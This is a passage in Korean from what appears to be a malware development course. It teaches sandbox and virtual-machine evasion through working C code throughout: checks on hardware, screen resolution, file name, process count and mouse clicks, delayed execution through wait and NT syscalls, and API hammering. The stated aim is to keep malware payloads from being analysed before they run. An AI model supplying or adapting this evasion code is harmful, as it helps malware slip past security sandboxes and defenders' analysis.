      if ((DWORD)MemStatus.ullTotalPhys <= (DWORD)(2 * 1073741824)) {
         // Possibly a virtualized environment
      }

    2 * 1073741824 는 바이트 단위로 2기가바이트의 크기입니다.

    이전에 마운트한 USB 확인

    마지막으로, 시스템에 이전에 마운트된 USB의 수는 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USBSTOR 레지스트리 키를 통해 확인할 수 있습니다. 레지스트리 키의 값 검색은 RegOpenKeyExA 및 RegQueryInfoKeyA WinAPI를 사용하여 수행됩니다.

      HKEY    hKey            = NULL;
      DWORD   dwUsbNumber     = NULL;
      DWORD   dwRegErr        = NULL;
    
    
      if ((dwRegErr = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", NULL, KEY_READ, &hKey)) != ERROR_SUCCESS) {
        printf("\n\t[!] RegOpenKeyExA Failed With Error : %d | 0x%0.8X \n", dwRegErr, dwRegErr);
      }
    
      if ((dwRegErr = RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &dwUsbNumber, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) != ERROR_SUCCESS) {
        printf("\n\t[!] RegQueryInfoKeyA Failed With Error : %d | 0x%0.8X \n", dwRegErr, dwRegErr);
      }
    
      // Less than 2 USBs previously mounted
      if (dwUsbNumber < 2) {
        // possibly a virtualized environment
      }
    

    하드웨어 사양 코드를 통한 가상화 방지

    이전 코드 조각은 하나의 함수인 IsVenvByHardwareCheck로 결합됩니다. 이 함수는 가상화된 환경을 감지하면 TRUE를 반환합니다.

    BOOL IsVenvByHardwareCheck() {
    
    	SYSTEM_INFO		SysInfo			= { 0 };
    	MEMORYSTATUSEX	MemStatus		= { .dwLength = sizeof(MEMORYSTATUSEX) };
    	HKEY			hKey			= NULL;
    	DWORD			dwUsbNumber		= NULL;
    	DWORD			dwRegErr		= NULL;
    
    	// CPU CHECK
    	GetSystemInfo(&SysInfo);
    
    	// Less than 2 processors
    	if (SysInfo.dwNumberOfProcessors < 2){
    		return TRUE;
    	}
    
    	// RAM CHECK
    	if (!GlobalMemoryStatusEx(&MemStatus)) {
    		printf("\n\t[!] GlobalMemoryStatusEx Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	// Less than 2 gb of ram
    	if ((DWORD)MemStatus.ullTotalPhys < (DWORD)(2 * 1073741824)) {
    		return TRUE;
    	}
    
    
    	// NUMBER OF USBs PREVIOUSLY MOUNTED
    	if ((dwRegErr = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", NULL, KEY_READ, &hKey)) != ERROR_SUCCESS) {
    		printf("\n\t[!] RegOpenKeyExA Failed With Error : %d | 0x%0.8X \n", dwRegErr, dwRegErr);
    		return FALSE;
    	}
    
    	if ((dwRegErr = RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &dwUsbNumber, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) != ERROR_SUCCESS) {
    		printf("\n\t[!] RegQueryInfoKeyA Failed With Error : %d | 0x%0.8X \n", dwRegErr, dwRegErr);
    		return FALSE;
    	}
    
    	// Less than 2 usbs previously mounted
    	if (dwUsbNumber < 2) {
    		return TRUE;
    	}
    
    	RegCloseKey(hKey);
    
    	return FALSE;
    }

    머신 해상도를 통한 가상화 방지

    샌드박스 환경에서는 머신의 해상도 및 디스플레이 속성이 표준화되고 일관된 값으로 설정되는 경우가 많으며, 이는 실제 머신의 해상도 및 디스플레이 속성과 다를 수 있습니다. 따라서 해상도가 낮은 머신은 가상화된 환경을 나타내는 지표로 사용될 수 있습니다.

    프로그래밍 관점에서 첫 번째 단계는 EnumDisplayMonitors WinAPI를 통해 시스템의 디스플레이 모니터를 열거하는 것입니다.

    EnumDisplayMonitors 함수는 감지하는 모든 디스플레이 모니터에 대해 콜백 함수를 실행해야 하며, 이 콜백 함수에서 GetMonitorInfoW WinAPI를 호출해야 합니다. 이 함수는 디스플레이 모니터의 해상도를 검색합니다.

    가져온 정보는 아래와 같이 GetMonitorInfoW에 의해 MONITORINFO 구조체로 반환됩니다.

    typedef struct tagMONITORINFO {
      DWORD cbSize;			// The size of the structure
      RECT  rcMonitor;		// Display monitor rectangle, expressed in virtual-screen coordinates
      RECT  rcWork;			// Work area rectangle of the display monitor, expressed in virtual-screen coordinates
      DWORD dwFlags;		    // Represents attributes of the display monito
    } MONITORINFO, *LPMONITORINFO;

    rcMonitor 멤버에는 필요한 정보가 포함되어 있습니다. 이 멤버는 왼쪽 위와 오른쪽 아래 모서리의 X 및 Y 좌표를 통해 직사각형을 정의하는 RECT 유형의 구조체이기도 합니다.

    RECT 구조의 값을 검색한 후 디스플레이의 실제 좌표를 결정하기 위해 몇 가지 계산이 수행됩니다:

    1. MONITORINFO.rcMonitor.오른쪽 - MONITORINFO.rcMonitor.왼쪽 – 너비(X 값)를 제공합니다.
    2. MONITORINFO.rcMonitor.top - MONITORINFO.rcMonitor.bottom – 높이(Y 값)를 제공합니다.

    머신 해상도 코드를 통한 가상화 방지

    CheckMachineResolution 함수는 ResolutionCallback 콜백을 실행하여 머신의 해상도를 계산하는 설명된 프로세스를 사용합니다.

    // The callback function called whenever 'EnumDisplayMonitors' detects an display
    BOOL CALLBACK ResolutionCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM ldata) {
    
    	int             X       = 0,
    	                Y       = 0;
    	MONITORINFO     MI      = { .cbSize = sizeof(MONITORINFO) };
    
    	if (!GetMonitorInfoW(hMonitor, &MI)) {
    		printf("\n\t[!] GetMonitorInfoW Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	// Calculating the X coordinates of the desplay
    	X = MI.rcMonitor.right - MI.rcMonitor.left;
    
    	// Calculating the Y coordinates of the desplay
    	Y = MI.rcMonitor.top - MI.rcMonitor.bottom;
    
    	// If numbers are in negative value, reverse them
    	if (X < 0)
    		X = -X;
    	if (Y < 0)
    		Y = -Y;
    
    	if ((X != 1920 && X != 2560 && X != 1440) || (Y != 1080 && Y != 1200 && Y != 1600 && Y != 900))
    		*((BOOL*)ldata) = TRUE; // sandbox is detected
    
    	return TRUE;
    }
    
    
    BOOL CheckMachineResolution() {
    
    	BOOL	SANDBOX		= FALSE;
    
    	// SANDBOX will be set to TRUE by 'EnumDisplayMonitors' if a sandbox is detected
    	EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)ResolutionCallback, (LPARAM)(&SANDBOX));
    
    	return SANDBOX;
    }

    파일 이름을 통한 가상화 방지

    샌드박스는 분류 방법으로 파일 이름을 변경하는 경우가 많습니다(예: MD5 해시로 이름 변경). 이 과정에서 일반적으로 문자와 숫자가 혼합된 임의의 파일 이름이 생성됩니다.

    아래에 표시된 ExeDigitsInNameCheck 함수는 현재 파일 이름의 자릿수를 계산하는 데 사용됩니다. 이 함수는 GetModuleFileNameA를 사용하여 파일 이름(경로 포함)을 가져온 다음 PathFindFileNameA를 사용하여 파일 이름과 경로를 분리합니다.

    마지막으로, isdigit 함수는 파일 이름의 문자가 숫자인지 확인하는 데 사용됩니다. 파일 이름에 3자리 이상의 숫자가 있으면 ExeDigitsInNameCheck는 파일이 샌드박스에 있는 것으로 간주하고 TRUE를 반환합니다.

    BOOL ExeDigitsInNameCheck() {
    
    	CHAR	Path			[MAX_PATH * 3];
    	CHAR	cName			[MAX_PATH];
    	DWORD   dwNumberOfDigits	= NULL;
    
    	// Getting the current filename (with the full path)
    	if (!GetModuleFileNameA(NULL, Path, MAX_PATH * 3)) {
    		printf("\n\t[!] GetModuleFileNameA Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	// Prevent a buffer overflow - getting the filename from the full path
    	if (lstrlenA(PathFindFileNameA(Path)) < MAX_PATH)
    		lstrcpyA(cName, PathFindFileNameA(Path));
    
    	// Counting number of digits
    	for (int i = 0; i < lstrlenA(cName); i++){
    		if (isdigit(cName[i]))
    			dwNumberOfDigits++;
    	}
    
    	// Max digits allowed: 3
    	if (dwNumberOfDigits > 3){
    		return TRUE;
    	}
    
    	return FALSE;
    }

    실행 중인 프로세스 수를 통한 가상화 방지

    가상화 환경을 감지하는 또 다른 방법은 시스템에서 실행 중인 프로세스 수를 확인하는 것입니다. 샌드박스는 일반적으로 많은 애플리케이션이 설치되어 있지 않으므로 실행 중인 프로세스 수가 적습니다. 이전 방법과 마찬가지로, 이 방법은 시스템이 샌드박스라는 것을 보장하는 만병통치약은 아닙니다. Windows 시스템에는 최소 60-70개의 프로세스가 실행 중이어야 합니다.

    프로세스는 EnumProcesses 기법을 사용하여 열거됩니다. 시스템이 50개 미만의 프로세스를 실행 중인 샌드박스를 감지하면 CheckMachineProcesses 함수는 TRUE를 반환합니다.

    BOOL CheckMachineProcesses() {
    
    	DWORD		adwProcesses	[1024];
    	DWORD		dwReturnLen		= NULL,
    			    dwNmbrOfPids		= NULL;
    
    	if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen)) {
    		printf("\n\t[!] EnumProcesses Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	dwNmbrOfPids = dwReturnLen / sizeof(DWORD);
    
    	// If less than 50 process, it's possibly a sandbox
    	if (dwNmbrOfPids < 50)
    		return TRUE;
    
    	return FALSE;
    }

    사용자 상호작용을 통한 가상화 방지

    샌드박스는 대개 헤드리스 환경에서 실행되므로 디스플레이나 키보드, 마우스와 같은 주변 장치가 없습니다. 또한 헤드리스 환경은 일반적으로 스크립트나 기타 도구에 의해 자동화되고 트리거됩니다. 사용자 상호 작용이 없다는 것은 샌드박스 환경의 가능성을 나타내는 지표가 될 수 있습니다. 예를 들어, 멀웨어는 특정 기간 동안 마우스 클릭이나 키 입력이 없는 환경인지 확인할 수 있습니다.

    마우스 클릭을 추적하기 위해 SetWindowsHookExW 및 CallNextHookEx WinAPI를 사용한 API 후킹 – Windows API 사용 모듈을 기억해 보세요. 아래 함수인 MouseClicksLogger에도 동일한 기술이 적용됩니다. 20초 동안 마우스 클릭이 5회 이상 발생하지 않으면 샌드박스 환경 내부에 있는 것으로 간주합니다.

    // Monitor mouse clicks for 20 seconds
    #define MONITOR_TIME   20000 // Global hook handle variable
    HHOOK g_hMouseHook      = NULL;
    // Global mouse clicks counter
    DWORD g_dwMouseClicks   = NULL;
    
    // The callback function that will be executed whenever the user clicked a mouse button
    LRESULT CALLBACK HookEvent(int nCode, WPARAM wParam, LPARAM lParam){
    
        // WM_RBUTTONDOWN :         "Right Mouse Click"
        // WM_LBUTTONDOWN :         "Left Mouse Click"
        // WM_MBUTTONDOWN :         "Middle Mouse Click"
    
        if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || wParam == WM_MBUTTONDOWN) {
            printf("[+] Mouse Click Recorded \n");
            g_dwMouseClicks++;
        }
    
        return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
    }
    
    
    BOOL MouseClicksLogger(){
    
        MSG         Msg         = { 0 };
    
        // Installing hook
        g_hMouseHook = SetWindowsHookExW(
            WH_MOUSE_LL,
            (HOOKPROC)HookEvent,
            NULL,
            NULL
        );
        if (!g_hMouseHook) {
            printf("[!] SetWindowsHookExW Failed With Error : %d \n", GetLastError());
        }
    
        // Process unhandled events
        while (GetMessageW(&Msg, NULL, NULL, NULL)) {
            DefWindowProcW(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
        }
    
        return TRUE;
    }
    
    
    
    int main() {
    
        HANDLE  hThread         = NULL;
        DWORD   dwThreadId      = NULL;
    
        // running the hooking function in a seperate thread for 'MONITOR_TIME' ms
        hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)MouseClicksLogger, NULL, NULL, &dwThreadId);
        if (hThread) {
            printf("\t\t<<>> Thread %d Is Created To Monitor Mouse Clicks For %d Seconds <<>>\n\n", dwThreadId, (MONITOR_TIME / 1000));
            WaitForSingleObject(hThread, MONITOR_TIME);
        }
    
        // unhooking
        if (g_hMouseHook && !UnhookWindowsHookEx(g_hMouseHook)) {
            printf("[!] UnhookWindowsHookEx Failed With Error : %d \n", GetLastError());
        }
    
        // the test
        printf("[i] Monitored User's Mouse Clicks : %d ... ", g_dwMouseClicks);
        // if less than 5 clicks - its a sandbox
        if (g_dwMouseClicks > 5)
            printf("[+] Passed The Test \n");
        else
            printf("[-] Posssibly A Virtual Environment \n");
    
    
        printf("[#] Press <Enter> To Quit ... ");
        getchar();
    
        return 0;
    }

    74. 안티-가상 환경 – 다양한 지연 실행 기법

    안티-가상 환경 – 다양한 지연 실행 기법

    소개

    실행 지연은 샌드박스 환경을 우회하기 위해 흔히 사용되는 기법입니다. 샌드박스는 일반적으로 시간 제약이 있어 바이너리를 장시간 분석할 수 없습니다. 따라서 멀웨어는 코드 실행을 장시간 일시 중지하여 샌드박스가 바이너리를 분석하기 전에 강제로 종료하도록 만들 수 있습니다.

    분석 제한 시간이 2분인 샌드박스는 악성코드 샘플이 암호를 해독하고 실행하기 전에 3분 동안 대기 기능을 실행하는 경우 페이로드를 분석할 수 없습니다.

    이 모듈에서는 샌드박스 환경이 감지될 경우 페이로드의 실행을 지연시키는 데 사용할 수 있는 함수를 소개합니다.

    빨리 감기 감지

    여러 멀웨어 샘플이 실행 지연을 이용했기 때문에 대부분의 샌드박스는 실행 지연에 대응하기 위해 완화 기능을 구현했습니다. 이러한 완화 조치에는 API 후킹을 통해 전달되는 매개변수를 변경하거나 다른 접근 방식을 통해 지연 시간을 빨리 감는 방법이 포함될 수 있습니다. 지연이 발생했는지 확인하는 것은 필수적이며, WinAPI인 GetTickCount64를 사용하여 확인할 수 있습니다.

    그러면 지연 함수는 다음과 같은 모양이 됩니다.

    BOOL DelayFunction(DWORD dwMilliSeconds){
    
      DWORD T0 = GetTickCount64();
    
      // The code needed to delay the execution for 'dwMilliSeconds' ms
    
      DWORD T1 = GetTickCount64();
    
      // Slept for at least 'dwMilliSeconds' ms, then 'DelayFunction' succeeded
      if ((DWORD)(T1 - T0) < dwMilliSeconds)
        return FALSE;
      else
        return TRUE;
    }

    WaitForSingleObject를 통해 실행 지연하기

    이 강좌에서는 특정 객체가 신호 상태가 되거나 시간 초과가 발생할 때까지 기다리는 데 WaitForSingleObject WinAPI를 사용했습니다. 이 섹션에서는 CreateEvent를 사용하여 생성된 빈 이벤트, 즉 시간 초과가 발생할 때까지 기다리는 데 WaitForSingleObject가 사용됩니다.

    DelayExecutionVia_WFSO 함수에는 실행을 지연하는 시간(분)을 나타내는 매개변수 ftMinutes가 하나 있습니다. 이 함수는 WaitForSingleObject가 지정된 기간 동안 실행을 지연하는 데 성공하면 TRUE를 반환합니다.

    BOOL DelayExecutionVia_WFSO(FLOAT ftMinutes) {
    
      // converting minutes to milliseconds
      DWORD     dwMilliSeconds  = ftMinutes * 60000;
      HANDLE    hEvent          = CreateEvent(NULL, NULL, NULL, NULL);
      DWORD     _T0             = NULL,
                _T1             = NULL;
    
    
      _T0 = GetTickCount64();
    
      // Sleeping for 'dwMilliSeconds' ms
      if (WaitForSingleObject(hEvent, dwMilliSeconds) == WAIT_FAILED) {
        printf("[!] WaitForSingleObject Failed With Error : %d \n", GetLastError());
        return FALSE;
      }
    
      _T1 = GetTickCount64();
    
      // Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_WFSO' succeeded, otherwize it failed
      if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
        return FALSE;
    
      CloseHandle(hEvent);
    
      return TRUE;
    
    }

    MsgWaitForMultipleObjectsEx를 통해 실행 지연하기

    실행 지연에 사용할 수 있는 또 다른 WinAPI는 MsgWaitForMultipleObjectsEx WinAPI입니다. 이는 기본적으로 WaitForSingleObject와 동일한 작업을 수행하며 이전 모듈에서도 시연된 바 있습니다.

    DelayExecutionVia_MWFMOEx 함수는 이전 섹션에서 설명한 것과 동일한 로직을 사용하지만 여기서는 MsgWaitForMultipleObjectsEx WinAPI를 활용합니다. 이 함수에는 실행을 지연하는 시간(분)을 나타내는 ftMinutes라는 매개변수가 하나 있습니다. 이 함수는 MsgWaitForMultipleObjectsEx가 지정된 기간 동안 실행을 지연하는 데 성공하면 TRUE를 반환합니다.

    BOOL DelayExecutionVia_MWFMOEx(FLOAT ftMinutes) {
    
      // Converting minutes to milliseconds
      DWORD   dwMilliSeconds    = ftMinutes * 60000;
      HANDLE  hEvent            = CreateEvent(NULL, NULL, NULL, NULL);
      DWORD   _T0               = NULL,
              _T1               = NULL;
    
    
      _T0 = GetTickCount64();
    
      // Sleeping for 'dwMilliSeconds' ms
      if (MsgWaitForMultipleObjectsEx(1, &hEvent, dwMilliSeconds, QS_HOTKEY, NULL) == WAIT_FAILED) {
        printf("[!] MsgWaitForMultipleObjectsEx Failed With Error : %d \n", GetLastError());
        return FALSE;
      }
    
      _T1 = GetTickCount64();
    
      // Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_MWFMOEx' succeeded, otherwize it failed
      if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
        return FALSE;
    
      CloseHandle(hEvent);
    
      return TRUE;
    }

    NtWaitForSingleObject를 통해 실행 지연하기

    코드 실행 지연은 NtWaitForSingleObject 시스콜을 통해서도 수행할 수 있습니다. NtWaitForSingleObject는 WaitForSingleObject의 네이티브 API 버전으로 동일한 기능을 수행합니다. NtWaitForSingleObject는 아래에 나와 있습니다.

    NTSTATUS NtWaitForSingleObject(
      [in] HANDLE         Handle,       // Handle to the wait object
      [in] BOOLEAN        Alertable,    // Whether an alert can be delivered when the object is waiting
      [in] PLARGE_INTEGER Timeout       // Pointer to LARGE_INTEGER structure specifying time to wait for
    );

    NtWaitForSingleObject의 대기 시간은 흔히 틱이라고 하는 100나노초 음수 간격으로 지정됩니다. 한 틱은 0.0001밀리초와 같습니다. Timeout 매개 변수를 통해 시스템 호출에 전달되는 값은 dwMilliSeconds x 10000의 음수 값이어야 하며, 여기서 dwMilliSeconds는 밀리초 단위로 대기하는 시간입니다.

    아래의 DelayExecutionVia_NtWFSO 함수는 NtWaitForSingleObject 시스콜을 사용하여 ftMinutes 매개변수로 지정된 시간 동안 실행을 지연시킵니다. ftMinutes는 실행을 지연시키는 시간을 분 단위로 나타냅니다. NtWaitForSingleObject가 지정된 기간 동안 실행을 지연하는 데 성공하면 TRUE를 반환합니다.

    typedef NTSTATUS (NTAPI* fnNtWaitForSingleObject)(
    	HANDLE         Handle,
    	BOOLEAN        Alertable,
    	PLARGE_INTEGER Timeout
    );
    
    BOOL DelayExecutionVia_NtWFSO(FLOAT ftMinutes) {
    
     	// Converting minutes to milliseconds
    	DWORD                   dwMilliSeconds          = ftMinutes * 60000;
    	HANDLE                  hEvent                  = CreateEvent(NULL, NULL, NULL, NULL);
    	LONGLONG                Delay                   = NULL;
    	NTSTATUS                STATUS                  = NULL;
    	LARGE_INTEGER           DelayInterval           = { 0 };
    	fnNtWaitForSingleObject pNtWaitForSingleObject  = (fnNtWaitForSingleObject)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtWaitForSingleObject");
    	DWORD                   _T0                     = NULL,
    	                        _T1                     = NULL;
    
      	// Converting from milliseconds to the 100-nanosecond - negative time interval
    	Delay = dwMilliSeconds * 10000;
    	DelayInterval.QuadPart = - Delay;
    
    	_T0 = GetTickCount64();
    
      	// Sleeping for 'dwMilliSeconds' ms
    	if ((STATUS = pNtWaitForSingleObject(hEvent, FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
    		printf("[!] NtWaitForSingleObject Failed With Error : 0x%0.8X \n", STATUS);
    		return FALSE;
    	}
    
    	_T1 = GetTickCount64();
    
      	// Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_NtWFSO' succeeded
    	if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
    		return FALSE;
    
    	CloseHandle(hEvent);
    
    	return TRUE;
    }

    NtDelayExecution을 통해 실행 지연시키기

    이 모듈에서 실행을 지연시키는 마지막 메서드는 NtDelayExecution 시스콜을 사용하는 것입니다. 이름만 보면 동기화를 위해 코드 실행을 지연시키기 위한 호출임을 알 수 있습니다. NtDelayExecution은 대기할 객체 핸들이 필요하지 않다는 점을 제외하면 NtWaitForSingleObject와 유사하며, 그 기능은 현재 코드의 실행 주기를 일시 중단하는 Sleep과 비슷합니다. NtDelayExecution은 아래와 같습니다.

    NTSTATUS NtDelayExecution(
    	IN BOOLEAN              Alertable,      // Whether an alert can be delivered when the object is waiting
    	IN PLARGE_INTEGER       DelayInterval   // Pointer to LARGE_INTEGER structure specifying time to wait for
    );

    NtDelayExecution은 지연 간격 매개변수에 틱을 사용합니다.

    아래의 DelayExecutionVia_NtDE 함수는 NtDelayExecution 시스콜을 사용하여 대기 시간을 분 단위로 나타내는 ftMinutes 동안 실행을 지연시킵니다. NtDelayExecution이 지정된 기간 동안 실행을 지연시키는 데 성공하면 TRUE를 반환합니다.

    typedef NTSTATUS (NTAPI *fnNtDelayExecution)(
    	BOOLEAN              Alertable,
    	PLARGE_INTEGER       DelayInterval
    );
    
    BOOL DelayExecutionVia_NtDE(FLOAT ftMinutes) {
    
      	// Converting minutes to milliseconds
    	DWORD               dwMilliSeconds        = ftMinutes * 60000;
    	LARGE_INTEGER       DelayInterval         = { 0 };
    	LONGLONG            Delay                 = NULL;
    	NTSTATUS            STATUS                = NULL;
    	fnNtDelayExecution  pNtDelayExecution     = (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");
    	DWORD               _T0                   = NULL,
                            _T1                   = NULL;
    
      	// Converting from milliseconds to the 100-nanosecond - negative time interval
    	Delay = dwMilliSeconds * 10000;
    	DelayInterval.QuadPart = - Delay;
    
    	_T0 = GetTickCount64();
    
    	// Sleeping for 'dwMilliSeconds' ms
    	if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
    		printf("[!] NtDelayExecution Failed With Error : 0x%0.8X \n", STATUS);
    		return FALSE;
    	}
    
    	_T1 = GetTickCount64();
    
        // Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_NtDE' succeeded, otherwize it failed
    	if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
    		return FALSE;
    
    	return TRUE;
    }

    데모

    아래 이미지는 이 모듈에서 설명하는 기술을 보여줍니다. 실행 지연은 6초 또는 0.1분으로 설정됩니다.


    75. 안티-가상 환경 – API 해머링

    안티 가상 환경 – API 해머링

    소개

    API 해머링은 프로그램 실행을 지연시키기 위해 임의의 WinAPI를 빠르게 호출하는 샌드박스 우회 기법입니다. 또한 구현에서 실행 중인 스레드의 호출 스택을 난독화하는 데에도 사용할 수 있습니다. 즉, 구현 로직의 악성 함수 호출은 무작위 양성 WinAPI 호출로 숨겨집니다.

    이 모듈에서는 두 가지 방법으로 API 해머링을 시연합니다. 첫 번째 방법은 악성 코드가 실행되는 메인 스레드와 다른 WinAPI를 호출하는 백그라운드 스레드에서 API 해머링을 수행합니다. 두 번째 방법은 API 해머링을 사용하여 시간이 많이 걸리는 작업을 통해 실행을 지연시킵니다.

    I/O 기능

    API 해머링은 모든 WinAPI를 활용할 수 있지만, 이 모듈에서는 아래의 세 가지 WinAPI를 사용합니다.

    • CreateFileW – 파일을 만들고 여는 데 사용됩니다.
    • WriteFile – 파일에 데이터를 쓰는 데 사용됩니다.
    • ReadFile – 파일에서 데이터를 읽는 데 사용됩니다.

    이러한 WinAPI는 대량의 데이터를 처리할 때 상당한 처리 시간을 소비할 수 있어 API 해머링에 적합하기 때문에 선택되었습니다.

    API 해머링 프로세스

    CreateFileW는 Windows 임시 폴더에 임시 파일을 만드는 데 사용됩니다. 이 폴더에는 일반적으로 Windows OS 또는 타사 애플리케이션에서 생성한 .tmp 파일이 저장됩니다. 이러한 임시 파일은 애플리케이션을 설치하거나 인터넷에서 파일을 다운로드하는 등의 계산 프로세스 중에 임시 데이터를 저장하는 데 자주 사용됩니다. 작업이 완료되면 이러한 파일은 삭제되는 경우가 많습니다.

    .tmp 파일이 생성되면 WriteFile WinAPI 호출을 사용하여 고정된 크기의 무작위로 생성된 버퍼가 이 파일에 기록됩니다. 이 작업이 완료되면 파일 핸들이 닫히고 CreateFileW로 다시 열립니다. 그러나 이번에는 핸들이 닫히면 특수 플래그를 사용하여 파일을 삭제할 수 있도록 표시합니다.

    핸들을 다시 닫기 전에 ReadFile을 사용하여 이전에 로컬 버퍼에 썼던 데이터를 읽습니다. 그런 다음 해당 버퍼가 정리되고 해제됩니다. 마지막으로 파일 핸들을 닫으면 파일이 삭제됩니다.

    위의 작업은 의미는 없지만 시간이 많이 소요된다는 것을 분명히 알 수 있습니다. 게다가 시간 낭비를 늘리기 위해 위의 모든 작업은 루프 안에 들어갑니다.

    아래의 ApiHammering 함수는 위에서 설명한 단계를 수행합니다. 이 함수에 필요한 유일한 매개 변수는 전체 프로세스를 반복할 횟수인 dwStress입니다.

    나머지 코드는 임시 디렉터리인 C:\Users\<사용자 이름>\AppData\Local\Temp의 경로를 검색하는 데 사용되는 GetTempPathW WinAPI 함수를 제외하고는 익숙하게 보일 것입니다. 그런 다음 파일 이름인 TMPFILE이 경로에 추가되어 CreateFileW 함수에 전달됩니다.

    // File name to be created
    #define TMPFILE	L"MaldevAcad.tmp"
    
    BOOL ApiHammering(DWORD dwStress) {
    
    	WCHAR     szPath                  [MAX_PATH * 2],
                  szTmpPath               [MAX_PATH];
    	HANDLE    hRFile                  = INVALID_HANDLE_VALUE,
                  hWFile                  = INVALID_HANDLE_VALUE;
    
    	DWORD   dwNumberOfBytesRead       = NULL,
                dwNumberOfBytesWritten    = NULL;
    
    	PBYTE   pRandBuffer               = NULL;
    	SIZE_T  sBufferSize               = 0xFFFFF;	// 1048575 byte
    
    	INT     Random                    = 0;
    
    	// Getting the tmp folder path
    	if (!GetTempPathW(MAX_PATH, szTmpPath)) {
    		printf("[!] GetTempPathW Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	// Constructing the file path
    	wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);
    
    	for (SIZE_T i = 0; i < dwStress; i++){
    
    		// Creating the file in write mode
    		if ((hWFile = CreateFileW(szPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL)) == INVALID_HANDLE_VALUE) {
    			printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
    			return FALSE;
    		}
    
    		// Allocating a buffer and filling it with a random value
    		pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
    		Random = rand() % 0xFF;
    		memset(pRandBuffer, Random, sBufferSize);
    
    		// Writing the random data into the file
    		if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL) || dwNumberOfBytesWritten != sBufferSize) {
    			printf("[!] WriteFile Failed With Error : %d \n", GetLastError());
    			printf("[i] Written %d Bytes of %d \n", dwNumberOfBytesWritten, sBufferSize);
    			return FALSE;
    		}
    
    		// Clearing the buffer & closing the handle of the file
    		RtlZeroMemory(pRandBuffer, sBufferSize);
    		CloseHandle(hWFile);
    
    		// Opening the file in read mode & delete when closed
    		if ((hRFile = CreateFileW(szPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE) {
    			printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
    			return FALSE;
    		}
    
    		// Reading the random data written before
    		if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != sBufferSize) {
    			printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
    			printf("[i] Read %d Bytes of %d \n", dwNumberOfBytesRead, sBufferSize);
    			return FALSE;
    		}
    
    		// Clearing the buffer & freeing it
    		RtlZeroMemory(pRandBuffer, sBufferSize);
    		HeapFree(GetProcessHeap(), NULL, pRandBuffer);
    
    		// Closing the handle of the file - deleting it
    		CloseHandle(hRFile);
    	}
    
    
    	return TRUE;
    }
    

    API 해머링으로 실행 지연하기

    API 해머링으로 실행을 지연시키려면 ApiHammering 함수가 특정 횟수의 사이클을 실행하는 데 필요한 시간을 계산하세요. 이렇게 하려면 GetTickCount64 WinAPI를 사용하여 ApiHammering 호출 전후의 시간을 측정합니다. 이 예제에서 사이클 수는 1000이 됩니다.

    int main() {
    
    	DWORD	T0	= NULL,
                T1	= NULL;
    
    	T0 = GetTickCount64();
    
    	if (!ApiHammering(1000)) {
    		return -1;
    	}
    
    	T1 = GetTickCount64();
    
    	printf(">>> ApiHammering(1000) Took : %d MilliSeconds To Complete \n", (DWORD)(T1 - T0));
    
    	printf("[#] Press <Enter> To Quit ... ");
    	getchar();
    
    	return 0;
    }
    

    출력에 따르면 현재 시스템에서 1000회 사이클에 약 5.1초가 소요되는 것으로 나타났습니다. 이 수치는 대상 시스템의 하드웨어 사양에 따라 약간 달라질 수 있습니다.

    초를 주기로 변환

    아래의 SECTOSTRESS 매크로를 사용하여 초 수인 i를 사이클 수로 변환할 수 있습니다. 1000회의 루프 사이클에 5.157초가 걸리므로 1초마다 1000 / 5.157 = 194가 소요됩니다. 매크로의 출력은 ApiHammering 함수의 파라미터로 사용해야 합니다.

    #define SECTOSTRESS(i)( (int)i * 194 )

    API 해머링 코드를 통해 실행 지연하기

    아래 코드 스니펫은 앞서 언급한 기법을 사용한 주요 기능을 보여줍니다.

    int main() {
    
    
      DWORD T0  = NULL,
            T1  = NULL;
    
      T0 = GetTickCount64();
    
      // Delay execution for '5' seconds worth of cycles
      if (!ApiHammering(SECTOSTRESS(5))) {
        return -1;
      }
    
